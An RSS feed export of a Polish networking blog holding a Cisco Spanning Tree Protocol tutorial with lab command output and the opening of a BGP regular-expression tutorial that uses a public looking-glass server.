<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RSNET.PL</title>
	<atom:link href="https://kubsoo.github.io/rsnet-website/feed/" rel="self" type="application/rss+xml" />
	<link>https://kubsoo.github.io/rsnet-website/</link>
	<description>wszystko o sieciach komputerowych</description>
	<lastBuildDate>Sat, 22 Feb 2020 11:40:47 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.8</generator>
	<item>
		<title>Spanning Tree Protocol &#8211; podstawy</title>
		<link>https://kubsoo.github.io/rsnet-website/bgp-wyrazenia-regularne-2/</link>
		<pubDate>Wed, 15 Aug 2018 22:13:46 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[podstawy]]></category>
		<category><![CDATA[spanning tree protocol]]></category>
		<category><![CDATA[stp]]></category>
		<category><![CDATA[switching]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=1114</guid>
		<description><![CDATA[Protokół drzewa rozpinającego (STP) został przedstawiony jako mechanizm przeciwdziałania pętlą w warstwie drugiej modelu ISO/OSI. STP używa mechanizmu, który polega na wyłączaniu redundantnych linków w celu uniknięcia pętli w sieci&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><span style="color: #000000;">Protokół drzewa rozpinającego (STP) został przedstawiony jako mechanizm przeciwdziałania pętlą w warstwie drugiej modelu ISO/OSI. STP używa mechanizmu, który polega na wyłączaniu redundantnych linków w celu uniknięcia pętli w sieci LAN. Gdyby nie STP pakiety rozgłoszeniowe (Broadcast) krążyły by w sieci w nieskończoność.</span></p>
<p><span style="color: #000000;">Załóżmy, że mamy poniższą topologię sieci przedstawioną na rysunku poniżej.</span></p>
<p>&nbsp;</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_1.png" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-1115 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_1.png" alt="" width="580" height="440" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_1.png 580w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_1-300x228.png 300w" sizes="(max-width: 580px) 100vw, 580px" /></a></p>
<p style="text-align: justify;"><span style="color: #000000;">PC-1 chcę się skomunikować z PC-2, załóżmy że na PC-1 wydamy komendę ping 192.168.0.2. Host PC-1 nie zna adresu MAC hosta PC-2, więc musi wysłać zapytanie</span> <a href="https://pl.wikipedia.org/wiki/Address_Resolution_Protocol" title="">ARP</a> <span style="color: #000000;">na adres rozgłoszeniowy. Ramka z tym zapytaniem trafia najpierw do switcha SW3, który przesyła ją do wszystkich swoich interfejsów (Gi0/0, Gi0/1), z wyjątkiem interfejsu z którego ta ramka przyszła (Gi0/2). Następnie ramka dociera do SW1 oraz do SW2. Oba te switche również przesyłają tą ramkę w taki sam sposób jak zrobił to SW3, czyli SW1 przesyła ramkę przez Gi0/1 w kierunku SW2, oraz przez Gi0/2 do PC-2, natomiast SW2 przesyła ramkę przez Gi0/0 w kierunku SW1. Host PC-2 otrzymał zapytanie ARP i może na nie odpowiedzieć, jednak ramka z zapytaniem dalej krąży pomiędzy SW1, SW2 i SW3 i będzie tak krążyć w nieskończoność. Jedynym sposobem na przerwanie tej pętli jest wyłączenie jednego z interfejsów pomiędzy switchami, w taki sposób żeby istniała tylko jedna ścieżka pomiędzy PC-1 a PC-2 i do tego właśnie celu służy protokół drzewa rozpinającego (Spanning Tree Protocol).</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Domyślnie przełączniki Cisco mają uruchomiony protokół STP, natomiast dla celów zobrazowania co się stanie jak w sieci LAN powstanie pętla i ramki będą krążyć w nieskończoność wyłączymy STP na switchach w topologii przedstawionej powyżej.  Sprawdźmy co się stanie z przełącznikami jak wyłaczymy STP i wykonamy ping z PC-1 na PC-2.</span></p>
<p><span style="color: #000000;">Do wyłączenia STP służy komenda:</span></p>
<pre><span style="color: #000000;">SW(config)# no spanning-tree vlan 1</span></pre>
<p style="text-align: justify;"><span style="color: #000000;">Wykonajmy ją na wszystkich trzech switchach:</span></p>
<pre><span style="color: #000000;">SW1(config)# no spanning-tree vlan 1
SW2(config)# no spanning-tree vlan 1
SW3(config)# no spanning-tree vlan 1</span></pre>
<p style="text-align: justify;"><span style="color: #000000;">Teraz wykonajmy ping z PC-1 i PC-2 i obserwujmy co się stanie. Switche SW1 i SW2 przestały odpowiadać na komendy, utylizacja procesora jest na bardzo wysokim poziomie, dlatego nie odpowiada konsola, dodatkowo jak uruchomimy wiresharka na jednym z interfejsów pomiędzy switchami to zobaczymy, że cały czas krążą w sieci pakiety broadcast:</span></p>
<p><span style="color: #000000;"><a style="color: #000000;" href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_2.png" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-1118 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_2.png" alt="" width="974" height="438" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_2.png 974w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_2-300x135.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_2-768x345.png 768w" sizes="(max-width: 974px) 100vw, 974px" /></a></span></p>
<p style="text-align: justify;"><span style="color: #000000;">Dodatkowo ping pomiędzy PC-1 a PC-2 nie działa, dostajemy timeout i jest to spowodowane pętlą w sieci. Wyłączmy teraz jeden z interfejsów switcha SW3 (Gi0/1) i zobaczmy jak będzie wyglądała sytuacja. Od razu po wyłączeniu interfejsu Gi0/1 możemy zaobserwować, że konsole na switchach zaczęły odpowiadać, oraz ping z PC-1 na PC-2 działa.</span></p>
<pre><span style="color: #000000;">VPCS&gt; ping 192.168.0.2
84 bytes from 192.168.0.2 icmp_seq=1 ttl=64 time=9.095 ms
84 bytes from 192.168.0.2 icmp_seq=2 ttl=64 time=15.457 ms
84 bytes from 192.168.0.2 icmp_seq=3 ttl=64 time=27.437 ms
84 bytes from 192.168.0.2 icmp_seq=4 ttl=64 time=12.474 ms
84 bytes from 192.168.0.2 icmp_seq=5 ttl=64 time=11.474 ms</span></pre>
<p>&nbsp;</p>
<p><span style="color: #000000;"><strong>Jak działa STP ?</strong></span></p>
<p style="text-align: justify;"><span style="color: #000000;">Włączmy teraz spowrotem na switchach spanning-tree protocol oraz interfejs który wyłączyliśmy.  W celu weryfikacji czy STP jest uruchomione możemy posłużyć się następującą komendą:</span></p>
<pre><span style="color: #000000;">SW1#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID    Priority 32769
           Address 00ca.0d3f.0c00
           Cost 4
           Port 1 (GigabitEthernet0/0)
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID  Priority 32769 (priority 32768 sys-id-ext 1)
           Address 00ca.0dc1.2f00
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
           Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0     Root FWD 4    128.1    P2p
Gi0/1     Altn BLK 4    128.2    P2p</span></pre>
<pre><span style="color: #000000;">SW2#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID    Priority 32769
           Address 00ca.0d3f.0c00
           Cost 4
           Port 2 (GigabitEthernet0/1)
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID  Priority 32769 (priority 32768 sys-id-ext 1)
           Address 00ca.0d8e.9c00
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
           Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0     Desg FWD 4    128.1    P2p
Gi0/1     Root FWD 4    128.2    P2p
Gi0/2     Desg FWD 4    128.3    P2p</span></pre>
<pre><span style="color: #000000;">SW3#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID    Priority 32769
           Address 00ca.0d3f.0c00
           This bridge is the root
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID  Priority 32769 (priority 32768 sys-id-ext 1)
           Address 00ca.0d3f.0c00
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
           Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0     Desg FWD 4    128.1    P2p
Gi0/1     Desg FWD 4    128.2    P2p
Gi0/2     Desg FWD 4    128.3    P2p</span></pre>
<p style="text-align: justify;"><span style="color: #000000;">Protokół STP działa w oparciu o ramki BPDU (bridge protocol data unit). Switche wymieniają się tymi ramkami i na ich podstawie ustalają które nadmiarowe połączenia zablokować. Ramka BPDU wygląda następująco:</span></p>
<p><span style="color: #000000;"><a style="color: #000000;" href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_3.png" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-1124 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_3.png" alt="" width="542" height="470" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_3.png 542w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_3-300x260.png 300w" sizes="(max-width: 542px) 100vw, 542px" /></a></span></p>
<p><span style="color: #000000;">Najpierw na podstawie ramek BPDU wybierany jest korzeń drzewa (root bridge). Korzeń drzewa zostaje wybrany na podstawie Bridge Identifier, które składa się następujących pól:</span></p>
<p style="padding-left: 30px;"><span style="color: #000000;">Bridge Priority &#8211; priorytet przełacznika</span></p>
<p style="padding-left: 30px;"><span style="color: #000000;">Bridge System ID Extension &#8211; vlan dla którego działa STP</span></p>
<p style="padding-left: 30px;"><span style="color: #000000;">Bridge System ID &#8211; MAC adres przełącznika</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Root Bridge zostaje switch który posiada najmniejszy priorytet, w przypadku gdy priorytety są takie same to korzeniem zostaje przełącznik o najniższym adresie MAC. W naszym przykładzie Root Bridge został wybrany switch SW3, ponieważ posiada najniższy MAC adres (priorytety na wszystkich switchach są takie same)</span></p>
<pre><span style="color: #000000;">SW1 Bridge ID 
Priority <strong>32769</strong> (priority 32768 sys-id-ext 1) 
Address <strong>00ca.0dc1.2f00</strong></span></pre>
<pre><span style="color: #000000;">SW2 Bridge ID 
Priority <strong>32769</strong> (priority 32768 sys-id-ext 1)
Address <strong>00ca.0d8e.9c00</strong>

SW3 Bridge ID
Priority <strong>32769</strong> (priority 32768 sys-id-ext 1)
Address <strong>00ca.0d3f.0c00</strong></span></pre>
<p><span style="color: #000000;">Zweryfikujmy to wydając komendę show spanning-tree na SW3:</span></p>
<pre><span style="color: #000000;">SW3#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID Priority 32769
        Address 00ca.0d3f.0c00
<strong>        This bridge is the root</strong>
        Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)
          Address 00ca.0d3f.0c00
          Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
          Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0     Desg FWD 4    128.1    P2p
Gi0/1     Desg FWD 4    128.2    P2p
Gi0/2     Desg FWD 4    128.3    P2p</span></pre>
<p>&nbsp;</p>
<p style="text-align: justify;"><span style="color: #000000;">Następny krok po wybraniu root bridge to ustawienie portów przełączników w odpowiedniej roli. Role portów w STP są trzy: Designated, Root, Alternate. Porty Designated i Root przesyłają ruch, natomiast porty Alternate są zablokowane tak aby nie powstała pętla. Porty Root są to porty które prowadzą do Root Bridge&#8217;a, natomiast porty Designated to porty które prowadzą do innych przełączników. Wszystkie porty root bridge są portami Designated:</span></p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_4-1.png" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-1132 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_4-1.png" alt="" width="334" height="261" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_4-1.png 334w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_4-1-300x234.png 300w" sizes="(max-width: 334px) 100vw, 334px" /></a></p>
<p>&nbsp;</p>
<p style="text-align: justify;"><span style="color: #000000;">Następnie pozostałe przełączniki wybierają porty Root i Designated, które wybierane są zgodnie z poniższym algorytmem:</span></p>
<p style="text-align: justify;"><span style="color: #000000;">1. Najniższy root bridge ID</span></p>
<p style="text-align: justify;"><span style="color: #000000;">2. Najniższy koszt ścieżki do root bridge</span></p>
<p style="text-align: justify;"><span style="color: #000000;">3. Najniższy bridge ID</span></p>
<p style="text-align: justify;"><span style="color: #000000;">4. Najniższy port ID (nadawcy). </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Port ID składa się z priorytetu i numeru interfejsu. W wyniku polecenia show spanning-tree jest to pole Prio.Nbr. </span></p>
<p>&nbsp;</p>
<p style="text-align: justify;"><span style="color: #000000;">Pierwszy punkt możemy ominąć, ponieważ ma on zastosowanie tylko dla portów Root Bridge&#8217;a. Kolejny punkt to najniższy koszt ścieżki do root bridge. Domyślnie koszty portów wyglądają następująco:</span></p>
<table style="border-collapse: collapse; width: 52.0086%; height: 120px;" border="1">
<tbody>
<tr style="height: 24px;">
<td style="width: 38.9212%; height: 24px;"><span style="color: #000000;"><strong>Pasmo</strong></span></td>
<td style="width: 24.3023%; height: 24px;"><span style="color: #000000;"><strong>Koszt</strong></span></td>
</tr>
<tr style="height: 24px;">
<td style="width: 38.9212%; height: 24px;"><span style="color: #000000;">10 Mbps</span></td>
<td style="width: 24.3023%; height: 24px;"><span style="color: #000000;">100</span></td>
</tr>
<tr style="height: 24px;">
<td style="width: 38.9212%; height: 24px;"><span style="color: #000000;">100 Mbps</span></td>
<td style="width: 24.3023%; height: 24px;"><span style="color: #000000;">19</span></td>
</tr>
<tr style="height: 24px;">
<td style="width: 38.9212%; height: 24px;"><span style="color: #000000;">1-Gigabit Ethernet</span></td>
<td style="width: 24.3023%; height: 24px;"><span style="color: #000000;">4</span></td>
</tr>
<tr style="height: 24px;">
<td style="width: 38.9212%; height: 24px;"><span style="color: #000000;">10-Gigabit Ethernet</span></td>
<td style="width: 24.3023%; height: 24px;"><span style="color: #000000;">2</span></td>
</tr>
</tbody>
</table>
<p style="text-align: justify;"><span style="color: #000000;">W naszej topologii mamy interfejsy Gigabitowe więc koszty poszczególnych linków wynoszą 4:</span></p>
<p><span style="color: #000000;"><a style="color: #000000;" href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_6.png" data-rel="lightbox-image-4" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-1138 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_6.png" alt="" width="334" height="261" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_6.png 334w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_6-300x234.png 300w" sizes="(max-width: 334px) 100vw, 334px" /></a></span></p>
<p><span style="color: #000000;">Dla SW1 koszt ścieżki do Root Bridge przez Gi0/0 wynosi 4, natomiast przez Gi0/1 wynosi 4+4 czyli 8. W związku z tym Gi0/0 zostanie Root Port. </span></p>
<p><span style="color: #000000;">Dla SW2 koszt ścieżki do Root Bridge przez Gi0/0 wynosi 4 +4 czyli 8, natomiast przez Gi0/1 wynosi 4. W związku z tym Gi0/1 zostanie Root Port.</span></p>
<p>&nbsp;</p>
<p><span style="color: #000000;"><a style="color: #000000;" href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_7.png" data-rel="lightbox-image-5" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-1139 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_7.png" alt="" width="334" height="261" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_7.png 334w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_7-300x234.png 300w" sizes="(max-width: 334px) 100vw, 334px" /></a></span></p>
<p style="text-align: justify;"><span style="color: #000000;">Ostatni krok to wybór portu Designated i portu Alternate. W obu przypadkach zarówno port Gi0/1 na SW1 oraz Gi0/0 na SW2 mają ten sam koszt ścieżki do Root Bridge, dlatego musimy wziąć następny punkt algorytmu wyboru, czyli punkt 3. Najniższy bridge ID. Dla przypomnienia Bridge ID SW1 = 32769 + 00ca.0d<strong>c</strong>1.2f00, a Bridge ID SW2 = 32769 + 00ca.0d<strong>8</strong>e.9c00. Priorytet w obu przypadkach jest taki sam, czyli niższy Bridge ID jest ustalany a podstawie niższego adresu MAC, w tym przypadku SW2 ma niższy Bridge ID, czyli port Gi0/0 na SW2 zostanie portem Designated, a port Gi0/1 na switchu SW1 zostanie zablokowany, czyli będzie pełnił rolę Alternate.</span></p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_5.png" data-rel="lightbox-image-6" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-1141 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_5.png" alt="" width="334" height="261" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_5.png 334w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/08/stp_5-300x234.png 300w" sizes="(max-width: 334px) 100vw, 334px" /></a><span style="color: #000000;">Zweryfikujmy stan portów korzystając z komendy show spanning-tree.</span></p>
<pre><span style="color: #000000;">SW1#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID    Priority 32769
           Address 00ca.0d3f.0c00
           Cost 4
           Port 1 (GigabitEthernet0/0)
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID  Priority 32769 (priority 32768 sys-id-ext 1)
           Address 00ca.0dc1.2f00
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
           Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
<strong>Gi0/0     Root</strong> FWD 4    128.1    P2p
<strong>Gi0/1     Altn</strong> BLK 4    128.2    P2p</span></pre>
<pre><span style="color: #000000;">SW2#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID    Priority 32769
           Address 00ca.0d3f.0c00
           Cost 4
           Port 2 (GigabitEthernet0/1)
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID  Priority 32769 (priority 32768 sys-id-ext 1)
           Address 00ca.0d8e.9c00
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
           Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
<strong>Gi0/0     Desg</strong> FWD 4    128.1    P2p
<strong>Gi0/1     Root</strong> FWD 4    128.2    P2p
</span></pre>
<pre><span style="color: #000000;">SW3#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID    Priority 32769
           Address 00ca.0d3f.0c00
           This bridge is the root
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID  Priority 32769 (priority 32768 sys-id-ext 1)
           Address 00ca.0d3f.0c00
           Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
           Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
<strong>Gi0/0     Desg</strong> FWD 4    128.1    P2p
<strong>Gi0/1     Desg</strong> FWD 4    128.2    P2p

</span></pre>
<p style="text-align: justify;"><span style="color: #000000;">Każdy z portów w STP może być w jednym z poniższych stanów:</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Disabled &#8211; port jest wyłączony administracyjnie (shutdown) i nie bierze udziału w procesie STP </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Blocking &#8211; jest to początkowy stan portu, który trwa przez 20 sekund, po tym czasie port przechodzi do stanu Listening. Jeśli port nie jest portem Designated ani Root, czyli jest portem Alternate to również będzie w stanie blocking i w nim pozostanie dopóki nie zostanie zmieniona topologia sieci. Port w stanie blocking nie uczestniczy w procesie przesyłania ramek.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Listening &#8211; tylko designated i root port może przejść w stan nasłuchiwania. W tym stanie switch próbuje dowiedzieć się jak wygląda topologia. Port w stanie listening przesyła tylko ramki BPDU, ramki z danymi nie są przesyłane, po 15 sekundach w stanie listening port przechodzi w stan learning. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Learning &#8211; w tym stanie port uczy się adresów MAC poprzez analizowanie adresów źródłowych ramek ethernetowych otrzymanych na porcie. Port uczy się adresów przez 15 sekund, a następnie przechodzi w stan przesyłania ramek (Forwarding)</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Forwarding &#8211; jest to finalny stan portu, w którym następuje przesyłanie ramek z danymi.</span></p>
<p>&nbsp;</p>
<p><strong><span style="color: #000000;">STP przydatne komendy:</span></strong></p>
<ul>
<li><span style="color: #000000;">Zmiana Root Bridge</span></li>
</ul>
<p style="text-align: justify;"><span style="color: #000000;">Zmianę root bridge&#8217;a możemy wykonać na dwa sposoby. Automatycznie i ręcznie.</span></p>
<pre><span style="color: #000000;">SW1(config)#spanning-tree vlan 1 root primary</span></pre>
<p style="text-align: justify;"><span style="color: #000000;">Powyższa komenda zmieni priorytet przełącznika (bridge priority) na wartość niższą niż priorytet obecnego root bridge&#8217;a.</span></p>
<pre><span style="color: #000000;">SW1#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID     Priority 24577
            Address  00ca.0dc1.2f00
            This bridge is the root
            Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID   <strong>Priority 24577 (priority 24576 sys-id-ext 1)</strong>
            Address  00ca.0dc1.2f00
            Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
            Aging Time 15 sec

Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0     Desg FWD 4    128.1    P2p
Gi0/1     Desg FWD 4    128.2    P2p</span></pre>
<p><span style="color: #000000;">Ręczną zmianę priorytetu możem wykonać następująca komendą:</span></p>
<pre><span style="color: #000000;">SW1(config)#spanning-tree vlan 1 priority 4096</span></pre>
<pre><span style="color: #000000;">SW1#show spanning-tree</span>

<span style="color: #000000;">VLAN0001</span>
<span style="color: #000000;">Spanning tree enabled protocol ieee</span>
<span style="color: #000000;">Root ID       <strong>Priority  4097</strong></span>
<span style="color: #000000;">              Address   00ca.0dc1.2f00</span>
<span style="color: #000000;">              This bridge is the root</span>
<span style="color: #000000;">              Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>

<span style="color: #000000;">Bridge ID     <strong>Priority  4097 (priority 4096 sys-id-ext 1)</strong></span>
<span style="color: #000000;">              Address   00ca.0dc1.2f00</span>
<span style="color: #000000;">              Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span style="color: #000000;">              Aging Time 300 sec</span>

<span style="color: #000000;">Interface Role Sts  Cost  Prio.Nbr Type</span>
<span style="color: #000000;">------------------- ---- --- --------- -------- --------------------------------</span>
<span style="color: #000000;">Gi0/0     Desg FWD  4     128.1    P2p</span>
<span style="color: #000000;">Gi0/1     Desg FWD  4     128.2    P2p</span>

</pre>
<ul>
<li><span style="color: #000000;">Zmiana kosztu intefejsu:</span></li>
</ul>
<pre><span style="color: #000000;">SW1(config-if)#spanning-tree cost 100

SW1#show spanning-tree

VLAN0001
Spanning tree enabled protocol ieee
Root ID       Priority  4097
              Address   00ca.0dc1.2f00
              This bridge is the root
              Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID    Priority   4097 (priority 4096 sys-id-ext 1)
             Address    00ca.0dc1.2f00
             Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
             Aging Time 300 sec

Interface Role Sts  Cost  Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0     Desg FWD  <strong> 100</strong>  128.1    P2p
Gi0/1     Desg FWD   4    128.2    P2p</span></pre>
<p>&nbsp;</p>
]]></content:encoded>
			</item>
		<item>
		<title>BGP &#8211; wyrażenia regularne</title>
		<link>https://kubsoo.github.io/rsnet-website/bgp-wyrazenia-regularne/</link>
		<pubDate>Tue, 31 Jul 2018 17:32:43 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[bgp]]></category>
		<category><![CDATA[regex]]></category>
		<category><![CDATA[wyrażenia regularne]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=1088</guid>
		<description><![CDATA[Wyrażenia regularne bardzo często przydają się w manipulacji trasami BGP, oraz przeszukiwaniu tablicy BGP po atrybucie AS-Path. Do sprawadzenia w praktyce wykorzystania wyrażeń regularnych skorzystamy z jednego z dostępnych serwerów&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><span style="color: #000000;">Wyrażenia regularne bardzo często przydają się w manipulacji trasami BGP, oraz przeszukiwaniu tablicy BGP po atrybucie AS-Path. Do sprawadzenia w praktyce wykorzystania wyrażeń regularnych skorzystamy z jednego z dostępnych serwerów Looking Glass. Ja wybrałem serwer Looking Glass: https://www.as13030.net/looking-glass.php</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Po wejściu na powyższy serwer możemy wybrać Router (domyślnie Router: RR Zurich (AS13030)), typ zapytania Request: <strong>show ip bgp regexp</strong>, oraz ustawić argumenty, w naszym przypadku będą to wyrażenia regularne.</span></p>
<p><img class="size-full wp-image-1106 aligncenter" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/Screen-Shot-2018-07-31-at-09.45.55.png" alt="" width="902" height="338" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/Screen-Shot-2018-07-31-at-09.45.55.png 902w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/Screen-Shot-2018-07-31-at-09.45.55-300x112.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/Screen-Shot-2018-07-31-at-09.45.55-768x288.png 768w" sizes="(max-width: 902px) 100vw, 902px" /></p>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>1.</strong> </span>Wyświetlenie wszystkich podsieci pochodzących tylko z AS4788</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp ^4788$</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i1.32.0.0/19      213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i1.32.32.0/19     213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i23.6.120.0/24    213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i23.212.55.0/24   213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i103.4.140.0/22   213.144.128.221          2    150      0 <strong>4788</strong> i
*&gt;i137.195.224.0/20 213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i210.195.0.0/19   213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i210.195.32.0/19  213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i210.195.64.0/19  213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i210.195.96.0/19  213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i210.195.128.0/19 213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i210.195.160.0/19 213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i210.195.192.0/19 213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i210.195.224.0/19 213.144.128.173          2    150      0 <strong>4788</strong> ?
*&gt;i218.208.160.0/19 213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i219.93.2.0       213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i219.95.64.0/20   213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i219.95.104.0/21  213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i219.95.136.0/21  213.144.128.173          2    150      0 <strong>4788</strong> i

Total number of prefixes 19</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>2.</strong> </span>Wyświetlenie wszystkich podsieci pochodzących z AS4788, ale mogących przechodzić przez inne ASy</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp _4788$</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
